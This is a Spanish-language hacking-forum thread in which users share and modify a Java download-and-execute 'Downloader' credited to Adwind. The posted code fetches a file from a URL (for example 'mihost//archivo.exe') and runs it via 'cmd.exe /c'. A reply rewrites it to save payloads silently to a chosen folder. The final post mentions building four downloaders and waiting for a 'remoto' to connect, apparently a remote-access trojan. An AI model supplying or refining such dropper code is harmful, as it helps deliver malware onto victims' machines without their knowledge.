Tengo una duda este el code que posteo Adwind lo compile y funciona muy bien pero yo le quiero dar otro uso, necesito modificarlo para que me realice la descarga digamos en el directorio C:\Documents and Settings\TITAN pero que no se ejecute. Gracias.



Código: Seleccionar todo

import java.awt.Desktop;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;


public class Downloader {


public static boolean Download(String urltemp){
try {

byte []buf=new byte[1024]; //1kb
//Creamos un instancia de URL y le pasamos como parametro el string url
URL url=new URL(urltemp);
URLConnection conexion=url.openConnection();
//Obtenemos el flujo de entrada
InputStream flujo=conexion.getInputStream();
//Creamos una instancia File con el nombre que nos da la url por ejemplo
//http://172.16.80.254/usuarios.pdf obtenemos usuarios.pdf
//esto lo hacemos con url.getFile().substring(1)
File archivo=new File(url.getFile().substring(1));
//Aqui es donde se crea el archivo en realidad 
FileOutputStream descargado=new FileOutputStream(archivo);

int i;//i lo usamos para leer cuantos bytes se guardo en el BUFFER cuando termina de leer todo devuelve -1
while((i=flujo.read(buf))>=0){
//Aqui escribimos el buffer en el archivo pasando como parametro
//el buffer, luego colocamos un 0 que indica que escribiremos de 0 a i bytes del buffer.
descargado.write(buf, 0, i);
}
//Una vez terminado cerramos el archivo.
//Si no se cierra les causa error.
descargado.close();
flujo.close();

if(Desktop.getDesktop().isSupported(Desktop.Action.OPEN))
Desktop.getDesktop().open(archivo.getAbsoluteFile());
else
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", archivo.getAbsolutePath()});
return true;

} catch (Exception ex) {
System.out.println(ex.getMessage());
}
return false;
}


public static void main(String[] args) {
boolean listo;


do{

listo=Downloader.Download("http://127.0.0.1/usuarios.pdf");
}while(!listo);



}

}
[/code]
Quita estas lineas
if(Desktop.getDesktop().isSupported(Desktop.Action.OPEN))
Desktop.getDesktop().open(archivo.getAbsoluteFile());
else
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", archivo.getAbsolutePath()});
Y no se debe de ejecutar.

Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Gracias orlando9427 ahora hago la prueba solo queda agregar la ruta donde se descarga, tenes idea como seria. Algunos ejemplos encontre y creo que deberia haber una linea de code algo asi pero no se como editarla para que el code quede funcional. Gracias

Código: Seleccionar todo

 public static final void main(String[] args)
    throws Exception
  {
    String site = "http://mihost//archivo.exe";
    String filename = "C://Users//TITAN//archivo.exe"
Esta línea es donde se "especifica" la ruta, como solo se da el nombre de archivo, el archivo se crea donde se ejecuto el Jar.
File archivo=new File(url.getFile().substring(1));
Puedes crear una nueva String y agregarle el nombre del archivo en la url solo para mantenerlo

Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
y como quedaria en el code de adwind con esa nueva string para que la descarga la haga en un directorio a mi eleccion independientemente de la ruta donde se ejecuto el jar. Gracias por la paciencia
Con lo que se de Java quedaría algo así:
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;


public class Downloader {


public static boolean Download(String urltemp, String filepath){
try {

byte []buf=new byte[1024]; //1kb
//Creamos un instancia de URL y le pasamos como parametro el string url
URL url=new URL(urltemp);
URLConnection conexion=url.openConnection();
//Obtenemos el flujo de entrada
InputStream flujo=conexion.getInputStream();
//Creamos una instancia File con el nombre que nos da la url por ejemplo
//http://172.16.80.254/usuarios.pdf obtenemos usuarios.pdf
//esto lo hacemos con url.getFile().substring(1)
File archivo=new File(filepath.concat(url.getFile().substring(1)));
//Aqui es donde se crea el archivo en realidad 
FileOutputStream descargado=new FileOutputStream(archivo);

int i;//i lo usamos para leer cuantos bytes se guardo en el BUFFER cuando termina de leer todo devuelve -1
while((i=flujo.read(buf))>=0){
//Aqui escribimos el buffer en el archivo pasando como parametro
//el buffer, luego colocamos un 0 que indica que escribiremos de 0 a i bytes del buffer.
descargado.write(buf, 0, i);
}
//Una vez terminado cerramos el archivo.
//Si no se cierra les causa error.
descargado.close();
flujo.close();

return true;

} catch (Exception ex) {
System.out.println(ex.getMessage());
}
return false;
}


public static void main(String[] args) {
boolean listo;


do{

listo=Downloader.Download("http://127.0.0.1/usuarios.pdf", "C:\\Users\\Usuario\\Desktop\\");
}while(!listo);



}

}
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
De nada compañero un gusto ayudar.
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
este downloader solo sirve para archivos en la misma red si le pongo una direccion http fuera de mi red no descarga, creo que falta la libreria java.net.HttpURLConnection hice mil pruevas pero no logro descargar fuera de mi red
OStia xD xD no pensé que era tan sencillo en java hacer un downloader y no sabía que adwind
comentaba y daba sources xD
RapidShare.de will permanently shut down the servers on 1. March 2010! nein ..
PD:Policia española psicópata
∩____∩
| (• ◡•)|
Mi conocimientos no dan para más, Adwind! iluminanos con tu sabiduria :3

@valium7 date una vuelta por el foro de Java y veras todos los aportes que hace Adwind.
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
me hice 4 downloaders y modifique el de frutas version naranja gracias adwind y orlando en pocos dias avance un monton en java, creo que logre mi objetivo en cuanto se conecte mi remoto les cuento!!
Responder

Volver a “Java”